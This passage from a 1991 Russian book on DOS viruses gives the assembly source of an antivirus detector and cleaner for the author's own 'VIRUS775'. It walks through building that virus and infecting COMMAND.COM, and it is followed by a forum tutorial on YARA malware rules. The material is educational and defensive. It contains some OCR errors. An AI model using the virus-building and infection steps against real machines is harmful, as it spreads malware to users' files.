al,byte ptr es:[bx+1] mov byte ptr es:[1],al mov al,byte ptr es:[bx+2] mov byte ptr es:[2],al ; Three bytes were restored mov bx,SIGFL add bx,SIGO mov ax,word ptr es:[bx] ; Store old Length of file to be cured mov FLENOLD,ax Аналогичным образом вычисляется смещение, по которому хранится прежняя длина файла, который мы "лечим": к числу SIGFL (смещение слова, в котором хранится длина файла, относительно первого байта сигнатуры) прибавляем число SIGO (смещение первого байта сигнатуры вируса в файле). 3.13 Записываем вылеченный файл Простая, казалось бы операция - запись вылеченного файла на диск - на самом деле требует несколько более подробного рассмотрения. И вот почему. В нашем случае нам "повезло": вирус хранил прежнюю длину файла-жертвы в своей области данных. Поэтому для того чтобы определить, какую часть вылеченного файла записывать на диск, достаточно было прочитать эту величину из того места файла-жертвы, которое определяется после весьма нехитрых расчетов (см. выше). Как же быть, если вирус не хранит и, следовательно, не передает вместе с собой в заражаемый файл информацию о его прежней длине? Ответ не столь сложен. В этом случае достаточно воспользоваться информацией о смещении первого байта сигнатуры относительно начала вируса (эта величина легко определяется с помощью любого отладчика), а затем "обрезать" обрабатываемый файл точно по началу кода вируса. К сожалению, в этом случае файл, зараженный вирусом, который перед дозаписью своего кода в "хвост" файла производит выравнивание адресов по границе параграфа (как наш вирус), будет иметь небольшой "хвостик", состоящий из мусора, оставленного вирусом (не более 15 байт). SAVE_FILE: mov cx,0 mov dx,0 ; dx:cx - position of seek pointer (0) mov bx,HANDLE mov ax,4200h int 21h ; Set seek pointer to start of file mov cx,FLENOLD mov bx,HANDLE push ds mov ax,FSEG mov ds,ax mov dx,0 ; ds:dx - address of file in memory mov ah,40h int 21h ; Write cured file to disk CUT_FILE: mov cx,0 mov ah,40h int 21h ; Cut file to new length pop ds lea dx,CURED mov ah,09h int 21h ; Print "Cured" message jmp FIND_NEXT CURED db 'File was successfuly cured...',10,13,'$' После записи вылеченного файла на диск антивирус выдает соответствующее сообщение и, если в текущем каталоге имеются другие файлы, соответствующие шаблону, продолжает свою работу. 3.14 Антивирус "умывает руки" Итак, хирургическая операция по восстановлению зараженного файла завершена: восстановлены первые три байта файла, отрезан "хвост", в котором притаился вирус... Теперь достаточно привести блок, который берет на себя обработку ошибок DOS (громко сказано, поскольку наш антивирус вместо обработки ошибок просто завершает работу) - и наш труд почти завершен. ERR: lea dx,NOMORE mov ah,09h int 21h mov al,2 ; Return code 2 (Error, no files found) jmp TO_DOS NOMORE db 10,13,'Can not find infected .COM files...',10,13,'$' EXIT: cmp FILES,0 je NOFILES FNUM_OUT: mov al,FILES add al,30h mov ah,0Eh int 10h ; Print number of files (0-9) lea dx,MSGC cmp MODE,1 ; If MODE=1, mode is "cure" je MSGCF lea dx,MSGF MSGCF: mov ah,09h int 21h ; Print 'File(s) cured' message mov al,1 ; Return code 1 (found infected files) jmp TO_DOS MSGC db ' File(s) cured',10,13,'$' MSGF db ' Filets) infected',10,13,'S' NOFILES: lea dx,GOODBY mov ah,09h int 21h mov al,0 ; Return code 0 (Ho files infected) jmp TO_DOS GOODBY db 10,13,'No infected files found...',10,13,'$' TO_DOS: cmp HANDLE,0FFFFh je TERMINATE CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h TERMINATE: ; Free allocated memory mov ah,4Ch int 21h ; Terminate program (al - return code) Приведенный выше блок, помимо обработки ошибок, выполняет также следующие функции:
-
выдает сообщение о том, что зараженных файлов найдено не было;
-
устанавливает коды возврата, которые могут быть использованы при запуске антивируса из пакетных (BAT) файлов;
-
выдает сообщение о количестве зараженных и вылеченных файлов;
-
закрывает открытые файлы;
-
высвобождает выделенную программе память;
-
обеспечивает выход в DOS.
Теперь мы можем привести полный текст написанной нами программы, антивируса и фага. Кроме того, настало время сказать, почему наш вирус называется VIRUS775, а антивирус - соответственно ANTI775. Дело в том, что мы, в отступление от общепринятой практики, когда вирусу присваивают код, равный минимальному приращению длины заражаемого файла, решили назвать его в соответствии с длиной кода запускающей вирус программы. А исполняемый код этой программы занимает как раз 775 байт. Вот и весь секрет. 3.15 Текст программы ANTI775.ASM .8086 PAGE ,132 ;**************************************************************** ; ANTI775.ASM - program to find files infected by the "775" virus ; and to restore these files in their original state ;**************************************************************** CSEG segment assume cs:CSEG,ds:CSEG,es:CSEG org 100h START: mov SIG[10],0FFh ; Completes SIG string READ_PARAM: cmp byte ptr cs:[80h],0 je FIND_MODE ; If no parameters, "find" mode mov ax,ds mov es,ax cld mov al,'q' ; 'q' - "find & cure mode" (MODE=1) mov ch,0 mov cl,cs:[80h] ; Length of UPA (from PSP) mov di,81h ; Offset of UPA (from PSP) repne scasb je CURE_MODE FIND_MODE: mov MODE,0 jmp ALLOC_MEM CURE_MODE: mov MODE,1 ALLOC_MEM: mov ax,ds mov es,ax mov bx,1100h ; Reallocate 68 К bytes mov ah,4Ah int 21h jnc ALLOCATED NOT_ALLOCATED: lea dx,NO_MEM mov ah,09h int 21h ; Print a message jmp TO_DOS NO_MEM db 10,13,'Insufficient memory to run ANTI775',10,13,'$' ALLOCATED: lea ax,LBL mov cl,4 shr ax,cl inc ax mov bx,ds add ax,bx mov FSEG,ax ; Segment of program in memory FIND_FIRST: lea dx,FMASK ; Mask of file name mov cx,00100111b ; arc,dir,voL,sys,hid,r/o mov ah,4Eh int 21h jnc STORE_FNAME jmp EXIT FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh ; Note that file was closed mov ah,4Fh int 21h ; Find next file jnc STORE_FNAME jmp EXIT STORE_FNAME: mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/wite mode int 21h ; Open a file (handle is in ax) jnc READ_FLEN jmp ERR READ_FLEN: mov HANDLE,ax ; Store handle number mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov ax,4202h ; Get program length in dx:ax int 21h mov FLEN,ax cmp dx,0 je SET_FSTART mov FLEN,0FFFEh SET_FSTART: mov bx,HANDLE mov cx,0 mov dx,0 mov ax,4200h int 21h ; Set seek pointer to start of file READ_FILE: mov bx,HANDLE mov cx,FLEN mov dx,0 cmp FLEN,8001h ; If length of file < 32769, jb READ_REST ; Read file in one step mov cx,8000h push ds mov dx,0 mov ax,FSEG mov ds,ax mov ah,3Fh int 21h ; Read 32768 bytes from file to buffer pop ds mov cx,FLEN mov dx,8000h sub cx,8000h ; Prepare to read the rest of the file READ_REST: mov bx,HANDLE ; bx = HANDLE push ds mov ax,FSEG mov ds,ax ; ds:dx - buffer address mov ah,3Fh int 21h ; Read and store entire file pop ds jne CHECK_SIG jmp ERR CHECK_SIG: mov ax,FSEG mov es,ax mov di,0 ; es:di - address of COM. file cld mov cx,FLEN sub cx,SIGL mov al,0FFh ; al = FF (hexadecimal) NEXT_FF: repne scasb je FOUND_FF NO_FF: jmp FIND_NEXT FOUND_FF: push cx ; Store counter for next 0FFh search push di ; Store di for next 0FFh search dec di ; es:di - address of 0FFh found mov SIGO,di ; Store offset of 0FFh found lea si,SIG ; ds:si - address of SIG string mov cx,SIGL ; cx - Length of SIG string repe cmpsb ; Compare SIG with string in file je FOUND_SIG pop di ; Restore di for next 0FFh dearch pop cx ; Restore counter for next OFFh search jmp NEXT_FF FOUND_SIG: inc FILES ; Count infected files lea dx,WARNING mov ah,09h int 21h ; Print warning message BLANK: mov cx,12 ; Width of file name field mov bx,0 REP32: mov FNAME[bx],32 inc bx loop REP32 ; Fill field with spaces cmp MODE,1 ; Was there 'q' in command line? je CURE jmp FIND_NEXT ; Do not cure! WARNING db 10,13,'File ' FNAME db 12 dup (32),0 ; File name ASCIIZ string db ' is infected by the 775 virus',10,13,'$' CURE: mov bx,SIGO ; SIGO - offset of virus signature add bx,SIGO3 ; SIGO3 - 3 bytes relative to SIG mov al,byte ptr es:[bx] ; es:bx - address of original 3 bytes mov byte ptr es:[0],al mov al,byte ptr es:[bx+1] mov byte ptr es:[1],al mov al,byte ptr es:[bx+2] mov byte ptr es:[2],al ; Three bytes were restored mov bx,SIGFL add bx,SIGO mov ax,word ptr es:[bx] ; Store old Length of file to be cured mov FLENOLD,ax SAVE_FILE: mov cx,0 mov dx,0 ; dx:cx - position of seek pointer (0) mov bx,HANDLE mov ax,4200h int 21h ; Set seek pointer to start of file mov cx,FLENOLD mov bx,HANDLE push ds mov ax,FSEG mov ds,ax mov dx,0 ; ds:dx - address of file in memory mov ah,40h int 21h ; Write cured file to disk CUT_FILE: mov cx,0 mov ah,40h int 21h ; Cut file to new length pop ds lea dx,CURED mov ah,09h int 21h ; Print "Cured" message jmp FIND_NEXT CURED db 'File was successfuly cured...',10,13,'$' ERR: lea dx,NOMORE mov ah,09h int 21h mov al,2 ; Return code 2 (Error, no files found) jmp TO_DOS NOMORE db 10,13,'Can not find infected .COM files...',10,13,'$' EXIT: cmp FILES,0 je NOFILES FNUM_OUT: mov al,FILES add al,30h mov ah,0Eh int 10h ; Print number of files (0-9) lea dx,MSGC cmp MODE,1 ; If MODE=1, mode is "cure" je MSGCF lea dx,MSGF MSGCF: mov ah,09h int 21h ; Print 'File(s) cured' message mov al,1 ; Return code 1 (found infected files) jmp TO_DOS MSGC db ' File(s) cured',10,13,'$' MSGF db ' Filets) infected',10,13,'S' NOFILES: lea dx,GOODBY mov ah,09h int 21h mov al,0 ; Return code 0 (Ho files infected) jmp TO_DOS GOODBY db 10,13,'No infected files found...',10,13,'$' TO_DOS: cmp HANDLE,0FFFFh je TERMINATE CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h TERMINATE: ; Free allocated memory mov ah,4Ch int 21h ; Terminate program (al - return code) MODE db 0 ; 0 - find, 1 - find & cure FILES db 0 ; Number of infected files SIG db 0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h db 0 ; Virus signature (last byte) SIGL equ $-SIG ; Length of SIG string SIGO dw (?) ; Offset of SIG in file SIGO3 dw 0BAh ; Offset of old 3 bytes relative to SIG SIGFL dw 0B1h ; Offset of old file length relative to SIG FMASK db '*.COM',0h ; File name mask FLEN dw (?) ; Current length af tested file FLENOLD dw (?) ; Old length of file to be cured HANDLE dw 0FFFFh ; File handle number ATTRIB db (?) ; File attribute FSEG dw (?) ; Segment to store file LBL db '$' ; Security label CSEG ends end START Глава 4. Кто выиграет войну? Было бы нечестно по отношению к читателю, потратившему столько внимания и усилий при прочтении первых трех глав нашей книги, если бы мы не показали наши программы в действии (насколько это вообще возможно в отсутствие компьютера). Вероятно, для неискушенных пользователей стоит кратко рассказать о процессе создания исполняемых программ из наших текстов на языке ассемблера. Пусть программа-вирус записана в файл с именем VIRUS775.ASM, а программа-антивирус записана в файл ANTI775.ASM. Покажем на примере первой из этих программ процесс трансляции ассемблерного текста и создания .COM-файла. 4.1 Создаем исполняемые программы Прежде всего, скопируем файл VIRUS775.ASM в тот каталог, где у нас находится пакет программ ассемблера. Теперь в ответ на системный запрос DOS подадим команду masm virus775.asm и правильно ответим на все вопросы ассемблера. При этом на экране дисплея результаты работы ассемблера отразятся следующим образом. C:MASM.50>masm virus775.asm Microsoft (R) Macro Assembler Version 5.00 Copyright (C) Microsoft Corp 1981-1985, 1987. All rights reserved. Object filename [virus775.OBJ]: Source listing [NUL.LST]: virus775.lst Cross-reference [NUL.CRF]: 50666 + 314342 Bytes symbol space free 0 Warning Errors 0 Severe Errors Мы получили два необходимых нам файла: VIRUS.OBJ (объектный модуль) и VIRUS775.LST (листинг программы VIRUS775.ASM, приведенный в предыдущей главе. Теперь пора дать работу редактору связей (компоновщику). С:MASM.50>link virus775.obj Microsoft (R) Overlay Linker Version 3.60 Copyright (C) Microsoft Corp 1983-1987. All rights reserved. Run File [VIRUS775.EXE]: List File [NUL.MAP]: Libraries [.LIB]: LINK : warning L4021: no stack segment Результатом работы редактора связей, или, как его еще называют, компоновщика, является файл VIRUS775.EXE. Наконец, для получения перемещаемого двоичного файла VIRUS775.COM необходимо "обработать" файл VIRUS775.EXE с помощью программы exe2bin: C:MASM.50>exe2bin virus775.exe virus775.com Теперь скопируем все файлы с именем VIRUS775 в подкаталог C:VIRUS и посмотрим, что у нас получилось в результате всех описанных операций. C:VIRUS>dir Volume in drive C is COMPILERS Directory of C:VIRUS VIRUS775 ASM 4418 6-24-91 9:18p VIHUS775 LSI 12132 7-08-91 5:56p VIHUS775 OBJ 928 7-08-91 5:56p VIRUS775 EXE 1543 7-08-91 5:56p VIRUS775 COM 775 7-08-91 5:56p 5 Files(s) 7632896 bytes free Аналогичным образом, повторив все описанные шаги для файла ANTI775.ASM, получим перемещаемый двоичный файл ANTI775.COM. Итак, мы воспользовались имеющимся под рукой ассемблером, затем программой exe2bin и получили две программы: virus775.com и anti775.com. Первая имеет длину 775 байт, а вторая (если Вы не вносили в нее своих изменений) - 840 байт. 4.2 Заражаем COMMAND.COM Теперь можно начать самое интересное - проверку созданных нами программ в действии. Чтобы не заставлять беспокоиться ту часть наших читателей, которые имеют слабые нервы, мы будем проводить наши эксперименты с вирусом на отдельной дискете. Для этого создадим на ней подкаталог с именем VIRUS и скопируем туда три файла: VIRUS775.COM, ANTI775.СОМ и COMMAND.COM. Подадим команду dir и запомним размеры указанных файлов. A:VIRUS>dir Volume in drive A is TEST Directory of A:VIRUS . <DIR> 6-24-91 9:10p .. <DIR> 6-24-91 9:10p V1RUS775 COM 775 6-24-91 9:18p ANTI775 COM 840 6-24-91 9:25p COMMAND COM 25308 8-29-88 12:00p 5 file(s) 624704 bytes free Выпускаем вирус на свободу при помощи программы VIRUS775.COM. A:VIRUS>virus775 Hallo! I have got a virus for you! A:VIRUS> Как видим, вирус "сработал". Данное сообщение он выдает только в том случае, если заражает какой-либо файл, Проверим, действительно ли это COMMAND.COM. A:VIRUS>dir Volume in drive A is TEST Directory of A:VIRUS . <DIR> 6-24-91 9:10p .. <DIR> 6-24-91 9:10p V1RUS775 COM 775 6-24-91 9:18p ANTI775 COM 840 6-24-91 9:25p COMMAND COM 26071 6-24-91 9:43p 5 file(s) 624704 bytes free Как видим, длина файла COMMAND.COM увеличилась с 25308 до 26071 байт (т.е. на 763 байта). Визуальный просмотр "хвоста" файла, например, с помощью программ NU или DISKEDIT показывает, что в конце файла COMMAND.COM появилась строка, которой наш вирус "пугает" пользователей. Теперь, если запускать зараженный COMMAND.COM, он будет заражать по очереди все программы, которые находятся в текущем каталоге, и каждый раз при этом будет выдавать пугающее сообщение. Если же подходящих программ не окажется, вирус будет "молчать". 4.3 Проверяем работу антивируса Для начала запустим программу anti775.com без параметров, чтобы она лишь сообщила о зараженном файле, но не "лечила" его (напомним, что этот режим используется в программе anti775.com по умолчанию). A:VIRUS>anti775 File COMMAND.COM is infected by the 775 virus 1 File(s) infected A:> Как видим, все в порядке: вирус найден, и правильно указан файл, содержащий его сигнатуру, COMMAHD.COM. Здесь сработала та часть антивируса, которую мы назвали детектором. Запустим программу anti775.com с параметром /q. Теперь антивирус должен не только найти зараженный файл, но и "вылечить" его. A:>anti775 /q File COMMAND.COM is infected by the 775 virus File was successfuly cured... 1 File(s) cured A:> Судя по выданному сообщению, COMMAND.COM успешно восстановлен. Проверим, как изменилась его длина. C:VlRUS>dir Volume in drive C is COMPILERS Directory of C:VIRUS <DIR> 6-24-91 9:10p <DIR> 6-24-91 9:10p VIRUS775 COM 775 6-24-91 9:18p ANTI775 СОМ 840 6-24-91 9:25р COMMAND СОМ 25308 6-26-91 10:08р 5 File(s) 7624704 bytes free Длина вылеченного файла COMMAND.COM совпадает с его исходной длиной (до заражения вирусом). Последней проверкой может служить выполнение команды сравнения вылеченного файла COMMAND.COM и аналогичного файла в корневом каталоге диска C: - проведем эту проверку. A:VIRUS>comp command.com c:command.com A:VIRUSCOMMAND.COM and C:COMMAND.COM Eof mark not found Files compare ok Compare more files (Y/N) n Итак, мы можем принимать поздравления. Наш антивирус не только обнаруживает сигнатуру вируса в зараженном файле и сообщает об этом пользователю, но по нашему требованию восстанавливает зараженный файл, да так, что восстановленный файл не отличается от исходного "здорового" файла! В заключение хочется обратить внимание читателей на весьма широкие возможности для модификаций и улучшений антивирусной программы (да и вируса, разумеется, тоже). Например, ни вирус, ни антивирус не проверяют, действительно ли заражаемый (зараженный) файл является файлом типа .COM, а не .EXE. Ведь DOS различает эти файлы не по расширению, по "подписи" .EXE-файла, т.е. по двум первые байтам (в файле типа .EXE должна стоять пара символов ASCII "MZ"). Однако совершенствовать и улучшать любой программный продукт можно до бесконечности, нашей же задачей являлось продемонстрировать лишь специфические черты технологии создания файловых .COM-вирусов и антивирусов (детекторов и фагов). 4.4 Вместо послесловия Война вирусов и антивирусов - это борьба их создателей. К сожалению, создатели вирусов всегда имеют пренмущество во времени. Однако не стоит теряться и падать духом. Если не пренебрегать правилами вирусной безопасности и не перенасыщать безо всякой системы и проверки Ваш винчестер играми и другими программами с сомнительным происхождением, можно вполне выйти из этой борьбы если не победителем, то уж во всяком случае без существенных потерь. Например, у автора этой книги, который чуть ли не каждую неделю борется с вирусами, проникающими в компьютеры его друзей, за два последних года в результате применения системы мер безопасности не было замечено (тьфу-тьфу!) ни одного вируса. А если вирус все же появится, нужно быть во всеоружии. Именно на то, чтобы дать читателю в руки такое оружие или хотя бы познакомить с тем, как оно куется, и нацелена данная книга. Удачи! Аннотация литературы по компьютерным вирусам.
-
И.Ш.Карасик. Несколько слов о компьютерных вирусах. Интеркомпьютер, 1989, вып. 1, стр. 14-15.
-
Рассмотрена вирусная терминология, поясняется смысл таких терминов, как компьютерный вирус и червяк, троянская программа, бомба, репликация, заражение, размножение, инкубационный период. Кратко описаны действия вирусов разных типов.
-
И.Ш.Карасик. Типология вирусов. Интеркомпьютер, 1989, вып. 2, стр. 14-15.
-
Дано краткое описание принципов действия вирусов различных типов. В частности, интеллектуальных вирусов, системных вирусов, загрузочных вирусов, резидентных вирусов (эти понятия могут перекрываться) и др..
-
И.Ш.Карасик. Анатомия и физиология вирусов. Интеркомпьютер, 1990, вып. 1, стр. 39-47.
-
Приводится довольно подробное описание принципов действия вирусов, поражающих загрузчики (описаны правильные форматы и содержимое сектора ВРВ на дисках, размеченных различными программами), вирусов, поражающих системные файлы (Lehigh), вирусов общего назначения - COM и EXE вирусов, таких как Eddie (Dark Avenger), интеллектуальных вирусов и др.
-
Н.Н.Безруков. Классификация вирусов. Попытка стандартизации. Интеркомпьютер, 1990, вып. 2, стр. 37-39.
-
Предложены принципы построения классификации компьютерных вирусов при помощи классификационного кода и сигнатуры. Описаны примеры использования сигнатур вирусов в антивирусных программах (SCAN, VIRSCAN, Virus Locator). Показано, как можно использовать пакеты Norton Utilities и PC Tools для поиска сигнатур вирусов.
-
И.Ш.Кзрасик. Классификация антивирусных программ. Интеркомпьютер, 1990, вып. 2, стр. 40-45.
-
Описаны принципы действия антивирусных программ различных типов (детекторы, фаги, вакцины, программы слежения за состоянием файловой системы, резидентные программы-мониторы. Даны краткие характеристики программ-антивирусов (Aidstest, Antt-Kot, Diaglot, Doctor, Scan49, VR, CRCDOS, Vacsine 1.3, DLI), а также программ, демонстрации содержимого памяти ЭВМ (Mem, MapMem, VTSR, MI, PCStat, РСМар).
-
Ф.Н.Шерстюк. Вирусы и антивирусы на IBM-совместимых ПК. Интеркомпьютер, 1990, вып. 2, стр. 46-47.
-
Приводится несколько советов и рекомендаций по вирусной профилактике и "лечению" зараженных файлов. Рассмотрены некоторые специализированные (AidsTest, VDeath, Serum3, Anti-Kot) и универсальные (Anti4us, FluShot, CDM) антивирусные программы.
-
Н.Н.Безруков. Классификация вирусов. Попытка стандартизации. Интеркомпьютер, 1990, вып. 3, стр. 38-47.
-
Приведена подробная классификация вирусов по принципу действия, проявлениям и сигнатурам. Дан список дескрипторов и сигнатур распространенных файловых и загрузочных вирусов. Эти сведения могут быть использованы при написании антивирусных программ.
-
В.Б.Комягин. Антивирусная программа VP - Virus Protector. Интеркомпьютер, 1990, вып. 5, стр. 42-46.
-
Дано подробное описание и ассемблерный текст резидентной антивирусной программы-монитора.
-
Е.В.Касперский. Антивирусы. Интеркомпьютер, 1990, вып. 6, стр. 46-48.
-
Рассматриваются программные средства, применяемые при поиске вирусов, не обнаруживаемых существующими "стандартными" антивирусными программами: отладчики (Quad Analizer, Advanced Trace86, Fulscreen Debug); дизассемблеры (DisDoc, Sourcer, -D3); резидентные перехватчики прерываний (Anticor, -D, Defence); утилиты, отображающие содержимое и структуру оперативной памяти (Mapmem, MFT, -D). Даны рекомендации по борьбе с "интеллектуальными" вирусами, выполненными по Stealth-технологии.
-
А.Николаев. Осторожно - вирус! Компьютер пресс, 1990, вып. 6, стр. 3-16.
-
Приведен краткий экскурс в историю возникнонения вирусов, "троянских коней" и "мин замедленного действия". Рассмотрены основные типы вирусов (позиционно зависимые и позиционно независимые, резидентные, загрузочные), описаны виды их разрушительного действия (разрушение .ЕХЕ и .СОМ файлов, структуры диска, содержимого экрана, dBase-файлов и др.).
-
Д.Лозинскнй. Одна из советских антивирусных программ: AIDSTEST. Компьютер пресс, 1990, вып. 6, стр. 17-20.
-
Описана антивирусная программа aidstest.exe (версия от 06.03.90 на 22 вируса, длина 33187 байт). Приведены общие рекомендации по антивирусной профилактике. Описаны проявления различных версий вирусов Ball, Stoned (Marijuana), Vacsina, Yankee Doodle.
-
Е.Касперский. Компьютерные вирусы: предварительные соображения. Компьютер пресс, 1991, вып. 5, стр. 13-25.
-
Описаны свойства и приведена классификация (систематические и тривиальные названия, длины кода, способы репликации и др.) нескольких десятков вирусов: файловых и загрузочных. Приведен составленный автором каталог наиболее распространенных вирусов.
-
А.Кадлоф. Вирусы. Компьютер, 1990, вып. 1, стр. 44-49.
-
В популярной форме описаны принципы действия вирусов по аналогии с биологическими системами. Описаны проявления некоторых распространенных вирусов (СОМ-1701, СОМ-648, ЕХЕСОМ-1, ЕХЕСОМ-2, BOOTSYS) отмечены некоторые антивирусные программы для борьбы с этими вирусами.
-
П.Внук. 10 антивирусных заповедей. Компьютер, 1990, вып. 1, стр. 49.
-
Предложено 10 советов по антивирусной профилактике. Соблюдая описанные меры безопасности, можно существенно уменьшить вероятность неприятных последствий заражения Вашего компьютера вирусом.
-
М.Селль. Антивирусные программы. Компьютер, 1990, вып. 2, стр. 48-50.
-
Кратко описаны три метода программной защиты от вирусов, а также принципы действия вирусов (указано, что для вирусов характерны две стадии: размножение вируса и разрушение данных. На самом деле для многих вирусов существует также понятие латентного периода, когда вирус может в течение некоторого времени вообще не проявлять заметной активности до тех пор, пока не будет выполнено какое-то условие, например пятница совпадет с 13 числом месяца). Дан краткий обзор антивирусных программ (DProtect.com, HDSEntry.com, BomSquad.com, VtrBlock.exe, Anti4us2.exe, FluShot Plus).
-
В.Фигурнов. Защита от вирусов. Компьютер, 1991, вып. 1(4), стр. 22-23.
-
Сравниваются различные программные средства защиты от компьютерных вирусов (программы-детекторы, вакцины, фаги, ревизоры, резидентные фильтры). Предлагается стратегия многоуровневой защиты от вирусов, главное место в которой отводится архивированию информации.
-
И.Ш.Карасик. К вопросу о компьютерных вирусах. Мир ПК, 1989, вып. 3, стр. 127-131.
-
Кратко рассмотрены принципы действия как обычных, так и возможных нетривиальных вирусов (вирусы, поражающие системные и сетевые драйверы; вирусы, зашифровывающие свой код и т.п.). Развеиваются мифы относительно коварства и неуничтожимости некоторых типов вирусов.
-
А.С.Осипенко. Компьютерные вирусы. Мир ПК, 1990, вып. 3, стр. 23-27.
-
Описана терминология и дано определение компьютерного вируса. Приведен список мест, куда (теоретически) могут внедряться компьютерные вирусы (дисковый загрузчик, системный загрузчик, файлы операционной системы, системные и прикладные программы, драйверы устройств, объектные модули и библиотеки, программы для препроцессоров и командных процессоров, исходные тексты программ на языках высокого уровня). Описаны вирусы, обнаруженные в Москве в 1988-1989 годах: Flea (Vienna, COM-648), Rash (COM-1701), Israely Virus (Black Friday), Sina, Ibris (TP), Eddie (Dark Avenger), Ping-Pong (Italian Virus).
-
В.Э.Фигурнов. IBM PC для пользователя. 2-е изд. перераб. и доп. - М.: Финансы и статистика, Компьютер Пресс, 1991. - 288 с.
-
Наряду с описанием основных принципов и приемов работы на IBM-совместимом компьютере для неискушенного пользователя в одной из глав книги описаны основные принципы борьбы с вирусами и некоторые популярные антивирусные программы.
-
Н.Н.Безруков. Классификация компьютерных вирусов MS-DOS и методы защиты от них. - М.: Информэйшн Компьютер Энтерпрайз, 1990. - 48 с.
-
Описаны предложенные автором принципы классификации компьютерных вирусов, включающей код вируса (обычно - целое число, равное длине вируса), дескриптор (список основных свойств) и сигнатуру (строку для поиска кода вируса). Приведена классификация методов защиты от компьютерных вирусов и даны обширные рекомендации по применению методов защиты от вирусов и конкретных антивирусных программ. В конце брошюры приведены таблицы классификации файловых и загрузочных вирусов, содержащие также сигнатуры нескольких десятков вирусов.
Хижняк: П.Л. Пишем вирус и... антивирус. / Под общей редакцией И.М.Овсянниковой. - М: ИНТО, 1991. - 90 с. В книге описаны методы создания эффективных антивирусных программ-детекторов и фагов. С этой целью рассмотрены принципы функционирования некоторых типов вирусов и приведен ассемблерный текст простейшего COM-вмруса с подробным рассказом о фазах создания вируса и о работе отдельных его частей. Приведен также текст антивирусной программы- детектора и фага для данного конкретного вируса. Подробно описан процесс создания программы- антивируса, показана практическая работа вируса и антивируса в среде MS DOS для IBM PC совместимых компьютеров. В конце книги дана краткая аннотация ряда публикаций по вирусам н антивирусам. Книга рассчитана на программистов различных уровней подготовки и на пользователей IBM-совместимых компьютеров. © Хижняк П.Л., 1991 Ответственный редактор Овсянникова И.М. Оригинал-макет подготовил Хижняк П.Л. Литературная редакция Хижняк П.Л. Художник Ратнер Е.Ю. ISBN 5-86028-011-4 П.Л. Хижняк ВИРУСЫ И АНТИВИРУСЫ Редактор И. М. Овсянникова Художник А.Ф.Гламаздин Технический редактор Т.Г.Иванова Подписано в печать 25.5.91. Формат 60x90 1/16. Бумага кн.-журн. Гарнитура «Таймс». Печать офсетная. усл. печ. л. 6. Уч.-изд. л. Тираж 100 000 экз. (1 завод 50тыс.). Заказ 4226 Отпускная цена издательства 6 руб. ИНТО, 103012, Москва, Хрустальный пер. д. 1 пом. 89. Отпечатано в 12 Центральной типографии МО СССР.
Поделиться в соц сетях
Всем доброго времени суток уважаемые участники форума. В этот раз мы напишем свой сигнатурный антивирус(Название можете предложить в комментариях). Возможно также добавиться какой-то функционал. Теперь перейдем к теме, а именно к 1-й части — «Небольшой экскурс в YARA».
Что будет и чего ожидать.
Как говорилось ранее, наша задача написать сигнатурный антивирус. Сам процесс будет описан в 3-й части.
- В первой части мы разберем Yara проект. Разберем как установить инструмент, как получить yara-правила, найдем угрозы.
- Во второй части научимся сами писать yara-правила.
- В третьей части напишем антивирус.
Введение.
Мы все знаем, что гораздо интереснее взламывать что-то, чем строить защиту от атак, вирусов и прочей нечисти. Но иногда стоит встать на другую сторону. Сегодня мы встанем на путь, в котором будем обнаруживать вредоносное ПО.
Что такое YARA?
Yara — это инструмент, который помогает нам идентифицировать и классифицировать образцы вредоносных программ с помощью правил. Мы можем использовать Yara для классификации файлов или запуска процессов, чтобы определить, к какому семейству относятся вредоносные программы.
Также YARA является мультиплатформенным инструментом, работает на всех популярных ОС и может использоваться через интерфейс командной строки или из ваших собственных скриптов Python с расширением yara-python. Также можно использовать GUI(Рассмотрим далее).
Установка.
Чтобы установить Yara, сначала нужно выполнить следующую команду:
apt install yara
После этого мы можем использовать Yara, выполнив команду yara, которая по умолчанию отобразит справку по использованию, как показано ниже:
Код:
$ yara
usage: yara [OPTION]... [RULEFILE]... FILE | PID
options:
-t <tag> print rules tagged as <tag> and ignore the rest. Can be used more than once.
-i <identifier> print rules named <identifier> and ignore the rest. Can be used more than once.
-n print only not satisfied rules (negate).
-g print tags.
-m print metadata.
-s print matching strings.
-l <number> abort scanning after a <number> of rules matched.
-d <identifier>=<value> define external variable.
-r recursively search directories.
-f fast matching mode.
-v show version information.
Мы видим, что для запуска Yara нам нужно предоставить набор правил (RULEFILE), которые мы хотим применить, и путь к файлу (FILE) или pid (PID) процесса, который мы хотим сканировать.
Подготовка правил для тестов.
Правила ClamAV:
Теперь нам нужно получить файл правил, чтобы использовать Yara. В следующей части мы сами напишем файл с правилами, но сейчас будем использовать правила ClamAV. Единственная проблема с правилами ClamAV состоит в том, что мы не можем использовать их непосредственно с Yara, потому что Yara имеет свой собственный способ их описания(свой синтаксис).
Именно здесь вступает в игру скрипт clamav_to_yara.py
.
Для этого нам нужно клонировать SVN-репозиторий, который включает скрипт python clamav_to_yara.py
.
Ссылка на репозиторий mattulm/volgui
Команда для клонирования:
wget https://raw.githubusercontent.com/mattulm/volgui/master/tools/clamav_to_yara.py
Следующим шагом будет выполнение следующей команды:
python clamav_to_yara.py
.
Далее нам нужно скачать основные правила подписи ClamAV:
wget http://database.clamav.net/main.cvd
sigtool --unpack main.cvd
Чтобы преобразовать сигнатуры ClamAV в форму Yara, нам нужно запустить скрипт:
python clamav_to_yara.py -f main.ndb -o test.yara
Теперь мы можем сканировать каталог с помощью Yara и новые правила с помощью команды ниже:
yara -r test.yara /myfolder_for_test
Правила PEiD
Мы также можем легко преобразовать правила PEiD в правила Yara и использовать их, чтобы проверить, какой упаковщик/кодировщик использовался для компиляции вредоносного исполняемого файла.
Правила PEiD можно скачать с сайта:
Ссылка скрыта от гостей
Чтобы преобразовать правила PEiD в правила Yara, мы можем просто использовать Python скрипт peid_to_yara.py
, который также можно загрузить с jvoisin/yara_rules
